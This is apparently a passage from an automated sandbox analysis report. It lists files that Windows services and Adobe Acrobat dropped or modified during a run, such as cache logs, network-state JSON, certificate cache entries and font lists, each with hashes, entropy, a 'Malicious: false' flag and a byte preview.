Entropy (8bit):	0.7880334319893737
Encrypted:	false
SSDEEP:	1536:fSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:fazaPv4V4fXq2UaB
MD5:	C561D61D59858751C1C0AD01BFB274C5
SHA1:	5CA4BC2FFE2958CCBDD0FBA283BC147742F50C65
SHA-256:	413590342AC74D330138922C2A47469BE3BD19EA6F9B5B73B0DAD1DF8567038E
SHA-512:	A20CBAB2C06F14231D69BD47433EC9EEC16E6041723C42C1A6534BA4C1D05BCE0CC7511C68CF817CC8DC4D161B9A57DAD09FAC442EA4E2D5E9362B65392AD56A
Malicious:	false
Preview:	...... ...............X\...;...{......................X............{..4....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{.....................................v4....})6.................u.T4....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08137012424468233
Encrypted:	false
SSDEEP:	3:R8YemwkYVi1XlVG0+q2Iqe8lzzpHll/ollNTt/4ll/Q6beV/:mzfSGE8lfpFlAHtc6V
MD5:	6112290B4A08C227EE3BEE12B0AF65A3
SHA1:	C2F77CD348B51124571A396F09D4621FD5033B2C
SHA-256:	82931E063B6BF1DF18545136F89010078635CCA711153015C0E0F03C6DEC9300
SHA-512:	6E161784D207204562718DCF3661FF0E40F9788AA1CDC13A1326CB5A0DE98872BDE3B77E776D350A397B45A27744A3B0A1B5705AB4A5EE1D01E8535DFF964E1E
Malicious:	false
Preview:	.........................................;...{..4....}.......{...............{.......{....:......{..................u.T4....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.221131489389963
Encrypted:	false
SSDEEP:	6:iOlA4gdW+L+q2PFi2nKuAl9OmbnIFUtHA4gnKWZmwpA4g4jLVkwOFi2nKuAl9Omt:7ezZL+vdZHAahFUtgcW/iOjLV5wZHAae
MD5:	A9D454D4DA4C76453C0C60E5B49C4401
SHA1:	CAC7FDCBD0B1C49C4DA6BCD657CAE18E7F5E112C
SHA-256:	D830E02D017737CF53F8A32870A8DDF5F8EB542A1D366663D90C6897570EF505
SHA-512:	CB86A19C276CA9BA3727D2259CAB56732C86FE7A144912B424D83BAA7F75BE5D1F37862EF26214D04B63B9FC71D5B5CEF109879D96E2E849A322A6D11E141264
Malicious:	false
Preview:	2025/01/11-03:14:51.693 173c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:51.695 173c Recovering log #3.2025/01/11-03:14:51.696 173c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.221131489389963
Encrypted:	false
SSDEEP:	6:iOlA4gdW+L+q2PFi2nKuAl9OmbnIFUtHA4gnKWZmwpA4g4jLVkwOFi2nKuAl9Omt:7ezZL+vdZHAahFUtgcW/iOjLV5wZHAae
MD5:	A9D454D4DA4C76453C0C60E5B49C4401
SHA1:	CAC7FDCBD0B1C49C4DA6BCD657CAE18E7F5E112C
SHA-256:	D830E02D017737CF53F8A32870A8DDF5F8EB542A1D366663D90C6897570EF505
SHA-512:	CB86A19C276CA9BA3727D2259CAB56732C86FE7A144912B424D83BAA7F75BE5D1F37862EF26214D04B63B9FC71D5B5CEF109879D96E2E849A322A6D11E141264
Malicious:	false
Preview:	2025/01/11-03:14:51.693 173c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:51.695 173c Recovering log #3.2025/01/11-03:14:51.696 173c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.185548173346673
Encrypted:	false
SSDEEP:	6:iOlA4gKXnq2PFi2nKuAl9Ombzo2jMGIFUtHA4gXFaZmwpA4gVkwOFi2nKuAl9OmT:7eAvdZHAa8uFUtgra/iX5wZHAa8RJ
MD5:	C055F50FC711739402C0CB94B525B349
SHA1:	6756715F453633EA52E9277ED0F6869FA6E43295
SHA-256:	9064F811F3772A0F750778D21FE42EE2145F1B034CE404B6B06C026B80DB4F53
SHA-512:	E8DEDC12152C9D5A16495062B329CCE84EE620FF5727386C981224F038432A2C9B37B7084099DFFC9D02BA6CF1B3E4B77194E3341DD7D7868051404A9B446B7E
Malicious:	false
Preview:	2025/01/11-03:14:51.678 2054 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:51.680 2054 Recovering log #3.2025/01/11-03:14:51.681 2054 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.185548173346673
Encrypted:	false
SSDEEP:	6:iOlA4gKXnq2PFi2nKuAl9Ombzo2jMGIFUtHA4gXFaZmwpA4gVkwOFi2nKuAl9OmT:7eAvdZHAa8uFUtgra/iX5wZHAa8RJ
MD5:	C055F50FC711739402C0CB94B525B349
SHA1:	6756715F453633EA52E9277ED0F6869FA6E43295
SHA-256:	9064F811F3772A0F750778D21FE42EE2145F1B034CE404B6B06C026B80DB4F53
SHA-512:	E8DEDC12152C9D5A16495062B329CCE84EE620FF5727386C981224F038432A2C9B37B7084099DFFC9D02BA6CF1B3E4B77194E3341DD7D7868051404A9B446B7E
Malicious:	false
Preview:	2025/01/11-03:14:51.678 2054 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:51.680 2054 Recovering log #3.2025/01/11-03:14:51.681 2054 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\892d93be-4175-47fa-8e77-3372f38f4564.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.94623526336918
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgWSJEsBdOg2HBcaq3QYiubpP7E4T3y:Y2sRdsrX7dMH43QYhbd7nby
MD5:	C0ADF02DBC6DFF63162103699672F658
SHA1:	F158033301D2892AC4FBCC2789398D8128B42398
SHA-256:	FE0DD62E254F8ABF14A90EDF53B2B1AF11D5D0024093720E91F6953B0002D2BE
SHA-512:	3AADA7D8C22D329F2EC2F2C82D316150F558B32B3AB89E53573C1CBFA31BBD5A1005C6B825AF9D9CE5EEA021F11005E32FF385A43F1D2F308B2F55168E4C90AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143303301805","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133044},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.94623526336918
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgWSJEsBdOg2HBcaq3QYiubpP7E4T3y:Y2sRdsrX7dMH43QYhbd7nby
MD5:	C0ADF02DBC6DFF63162103699672F658
SHA1:	F158033301D2892AC4FBCC2789398D8128B42398
SHA-256:	FE0DD62E254F8ABF14A90EDF53B2B1AF11D5D0024093720E91F6953B0002D2BE
SHA-512:	3AADA7D8C22D329F2EC2F2C82D316150F558B32B3AB89E53573C1CBFA31BBD5A1005C6B825AF9D9CE5EEA021F11005E32FF385A43F1D2F308B2F55168E4C90AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143303301805","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133044},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232223172588283
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVK2pWM0:wshFT0h7cZb2EVKZPEANcGIK5EVK2kM0
MD5:	9C51EEEDE158CCC36D73EC63DDDE3939
SHA1:	64F10BC5A7613D3F7AAAD10A78FBE9A8E51D944A
SHA-256:	63F83D76A46AC2F911C5442FEA45E28BD5B88CADA357397D719AE7F82EF34D05
SHA-512:	95B0D0CEA50E72907766766EEBF0203B96411721F5E46F71479C6EC4941485D91BB7C4F7A0C05A84131CA07051EBADD6722128A5258E3C5041650E97D54F862B
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1647631665329925
Encrypted:	false
SSDEEP:	6:iOlA4bRFq2PFi2nKuAl9OmbzNMxIFUtHA4bRZZmwpA4bRfVokwOFi2nKuAl9Ombg:7eAzvdZHAa8jFUtgAX/iAdVo5wZHAa8E
MD5:	4ED8A1BC1563B6EB62C18F74318B4F49
SHA1:	BB37128A384E9B3CBD634F72504F8F7C5D1080F6
SHA-256:	1AFC305EC7689FE134B4403107B337446B396F39CD4C0F7461374049C352001C
SHA-512:	1A4B67172F1BBFB6E5946EBE421EAE0CF42393C0A6016F9AC62C128E44F086175BD9B3375BA9DC9031880BD235A8CD7523F1D20C9E052D597D3FE1D07F3561F7
Malicious:	false
Preview:	2025/01/11-03:14:52.408 2054 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:52.436 2054 Recovering log #3.2025/01/11-03:14:52.455 2054 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1647631665329925
Encrypted:	false
SSDEEP:	6:iOlA4bRFq2PFi2nKuAl9OmbzNMxIFUtHA4bRZZmwpA4bRfVokwOFi2nKuAl9Ombg:7eAzvdZHAa8jFUtgAX/iAdVo5wZHAa8E
MD5:	4ED8A1BC1563B6EB62C18F74318B4F49
SHA1:	BB37128A384E9B3CBD634F72504F8F7C5D1080F6
SHA-256:	1AFC305EC7689FE134B4403107B337446B396F39CD4C0F7461374049C352001C
SHA-512:	1A4B67172F1BBFB6E5946EBE421EAE0CF42393C0A6016F9AC62C128E44F086175BD9B3375BA9DC9031880BD235A8CD7523F1D20C9E052D597D3FE1D07F3561F7
Malicious:	false
Preview:	2025/01/11-03:14:52.408 2054 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:52.436 2054 Recovering log #3.2025/01/11-03:14:52.455 2054 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438659244954765
Encrypted:	false
SSDEEP:	384:SeZci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:mCurVgazUpUTTGt
MD5:	E3000F880C10E39B83075F3475ABBF08
SHA1:	AE9A412AEED9049B965EFABDE93B370D4AC07A32
SHA-256:	5B500A55929F4BA877A9DEE21ED9734146733F552E5F8F33271F6D817756666B
SHA-512:	F2F97E04A47DDA2A37EF28363E59A189BA23D4122C2B2A70ADAFAD97A48F353FDC472E5ED595A02C9E5E69942C613C5EDD407B9048DE51198D00EC3924B39CCE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215081235689117
Encrypted:	false
SSDEEP:	24:7+tCf6wKTqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzT:7MuWTqvmFTIF3XmHjBoGGR+jMz+LhG
MD5:	74C6B1A168F7D88C8CFFF0664C23DBC4
SHA1:	6C5EF85FE5A7A7DF91C9BC3C5E299C19ADB69259
SHA-256:	D18668E9939FE5DB826F3800A299DA5E0408D290A391F476BD0B3E2BB637F194
SHA-512:	F452E2257C93D1F4097075B115303DA44F5E7AA91E9142C532A01673FE2C7F3E7E87D7FCE093D53933DE4A2AAB0EDD201165096A355CFE2FBEC38A1C361FEE90
Malicious:	false
Preview:	.... .c.......E........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.73533016978716
Encrypted:	false
SSDEEP:	3:kkFkl8bVltfllXlE/HT8kGNNX8RolJuRdxLlGB9lQRYwpDdt:kKlbVleT8tNMa8RdWBwRd
MD5:	789FBF6CB0165DEFC3E846FC8FDE8A2E
SHA1:	FA9306BCAFA103B41AD7F8748A2850E8829EF30E
SHA-256:	F1BAC267D7C2D66949C9F6901B1DBDB0C46926865494D8FE00A196838C402AC3
SHA-512:	AE1B7F7A3744EC30D073791D867A1133FDCC09F9CE85762AC3C817862FEB5A8722553BC0A0E2EE954E93313814769877531A2662497DA451FA10157EC6751077
Malicious:	false
Preview:	p...... ..........K..d..(....................................................... ..........W....`L..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.212744089585098
Encrypted:	false
SSDEEP:	6:kKWlL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:HDImsLNkPlE99SNxAhUe/3
MD5:	5AA2C440E6B86EAECB7D0F62AF4D5E68
SHA1:	C56A8BC580D4664ED178C1F44E5F5021190213AD
SHA-256:	B97E62AFCEDE04097F5B07C6AE69ADFFDF5C0055BDC5A75242F9B3B539EF8D48
SHA-512:	B6F990E199B1868D89A5F5EF74DCCE2D64A64BE251F79FB5D998A5F33D968AE02DFCE0D427293D38AC5AAA304AC434B8F6B25546DDCEEB399C1E5DF2111217CC
Malicious:	false
Preview:	p...... ............d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
